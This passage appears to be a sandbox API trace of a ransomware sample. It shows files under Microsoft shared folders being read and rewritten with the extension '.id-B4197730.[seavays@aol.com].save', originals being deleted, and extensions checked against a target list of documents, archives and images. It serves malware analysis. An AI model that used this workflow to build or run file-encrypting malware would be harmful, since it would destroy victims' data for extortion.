GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.795] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1600388) returned 1 [0054.795] CloseHandle (hObject=0x36c) returned 1 [0054.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0054.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[seavays@aol.com].save")) returned 0 [0054.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.797] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1434) returned 1 [0054.797] CloseHandle (hObject=0x36c) returned 1 [0054.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0054.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.798] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=212) returned 1 [0054.798] CloseHandle (hObject=0x36c) returned 1 [0054.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0054.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.799] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=903) returned 1 [0054.799] CloseHandle (hObject=0x36c) returned 1 [0054.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0054.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.800] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=215) returned 1 [0054.800] CloseHandle (hObject=0x36c) returned 1 [0054.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0054.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.801] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=384) returned 1 [0054.801] CloseHandle (hObject=0x36c) returned 1 [0054.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0054.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.802] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=903) returned 1 [0054.802] CloseHandle (hObject=0x36c) returned 1 [0054.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0054.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.803] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=392) returned 1 [0054.803] CloseHandle (hObject=0x36c) returned 1 [0054.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0054.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.804] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=693) returned 1 [0054.804] CloseHandle (hObject=0x36c) returned 1 [0054.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0054.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.805] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3333) returned 1 [0054.805] CloseHandle (hObject=0x36c) returned 1 [0054.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0054.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.807] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=247) returned 1 [0054.807] CloseHandle (hObject=0x36c) returned 1 [0054.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0054.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.807] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3524) returned 1 [0054.807] CloseHandle (hObject=0x36c) returned 1 [0054.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0054.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.808] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3529) returned 1 [0054.808] CloseHandle (hObject=0x36c) returned 1 [0054.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0054.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.166] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=738) returned 1 [0056.169] CloseHandle (hObject=0x34c) returned 1 [0056.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0056.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.175] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.175] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.176] GetLastError () returned 0x0 [0056.176] ReadFile (in: hFile=0x34c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x285, lpOverlapped=0x0) returned 1 [0056.177] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x290, lpOverlapped=0x0) returned 1 [0056.178] ReadFile (in: hFile=0x34c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.178] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xea, lpOverlapped=0x0) returned 1 [0056.178] SetEndOfFile (hFile=0x368) returned 1 [0056.178] CloseHandle (hObject=0x368) returned 1 [0056.179] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.179] SetEndOfFile (hFile=0x34c) returned 1 [0056.180] CloseHandle (hObject=0x34c) returned 1 [0056.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x26) returned 1 [0056.180] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0056.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0056.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0056.181] lstrlenW (lpString=".doc") returned 4 [0056.181] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0056.181] lstrlenW (lpString=".docx") returned 5 [0056.181] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0056.181] lstrlenW (lpString=".pdf") returned 4 [0056.181] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0056.181] lstrlenW (lpString=".xls") returned 4 [0056.181] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0056.181] lstrlenW (lpString=".xlsx") returned 5 [0056.181] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0056.181] lstrlenW (lpString=".ppt") returned 4 [0056.181] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0056.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0056.181] lstrlenW (lpString=".zip") returned 4 [0056.181] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0056.181] lstrlenW (lpString=".rar") returned 4 [0056.181] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0056.181] lstrlenW (lpString=".bz2") returned 4 [0056.181] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0056.181] lstrlenW (lpString=".7z") returned 3 [0056.181] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0056.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0056.181] lstrlenW (lpString=".dbf") returned 4 [0056.181] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0056.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0056.181] lstrlenW (lpString=".1cd") returned 4 [0056.181] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0056.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0056.181] lstrlenW (lpString=".jpg") returned 4 [0056.181] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0056.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0056.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0056.181] lstrlenW (lpString=".doc") returned 4 [0056.181] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0056.182] lstrlenW (lpString=".docx") returned 5 [0056.182] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0056.182] lstrlenW (lpString=".pdf") returned 4 [0056.182] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0056.182] lstrlenW (lpString=".xls") returned 4 [0056.182] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0056.182] lstrlenW (lpString=".xlsx") returned 5 [0056.182] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0056.182] lstrlenW (lpString=".ppt") returned 4 [0056.182] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0056.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0056.182] lstrlenW (lpString=".zip") returned 4 [0056.182] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0056.182] lstrlenW (lpString=".rar") returned 4 [0056.182] lstrcmpiW (lpString1=".rar", 